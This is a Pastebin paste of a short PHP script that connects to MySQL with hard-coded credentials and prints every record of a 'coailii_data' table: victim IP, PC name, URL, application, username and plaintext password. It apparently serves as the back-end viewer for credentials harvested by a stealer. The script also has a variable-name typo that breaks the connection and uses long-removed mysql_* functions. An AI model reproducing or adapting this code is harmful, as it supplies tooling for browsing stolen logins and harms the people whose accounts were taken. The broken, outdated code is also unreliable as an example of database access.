Advertisement
WinKode

COAILII Get Data from MySQL

Sep 12th, 2015
521
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.16 KB | None | 0 0
  1. <?php
  2.  
  3.    $databasebhost = '127.0.0.1';
  4.    $databaseuser = 'user';
  5.    $databasepass = '12345678';
  6.    
  7.    $connect = mysql_connect($databasehost, $databaseuser, $databasepass);
  8.    
  9.    if(! $connect )
  10.    {
  11.       die('Could not connect: ' . mysql_error());
  12.    }
  13.    
  14.    $sql = 'SELECT id_data, id_application, user_ip, pc_name, url, username, password, registration_time FROM coailii_data';
  15.    mysql_select_db('baza ta de date');
  16.    $retval = mysql_query( $sql, $connect );
  17.    
  18.    if(! $retval )
  19.    {
  20.       die('Could not get data: ' . mysql_error());
  21.    }
  22.    
  23.    while($row = mysql_fetch_array($retval, MYSQL_ASSOC))
  24.  
  25.    {
  26.  
  27.       echo
  28.          "NUMBER: # {$row['id_data']} <br>".
  29.          "APPLICATION: {$row['id_application']} <br>".
  30.          "USER-IP: {$row['user_ip']}  <br>".
  31.          "PC-NAME: {$row['pc_name']} <br>".
  32.          "URL: {$row['url']}  <br> ".
  33.          "USERNAME: {$row['username']} <br> ".
  34.          "PASSWORD: {$row['password']} <br> ".
  35.          "TIME: {$row['registration_time']} <br> ".
  36.          "------------------------------------------------------------<br>";
  37.    }
  38.    
  39.    echo "Coailii Data Loaded!";
  40.    mysql_close($connect);
  41.  
  42. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement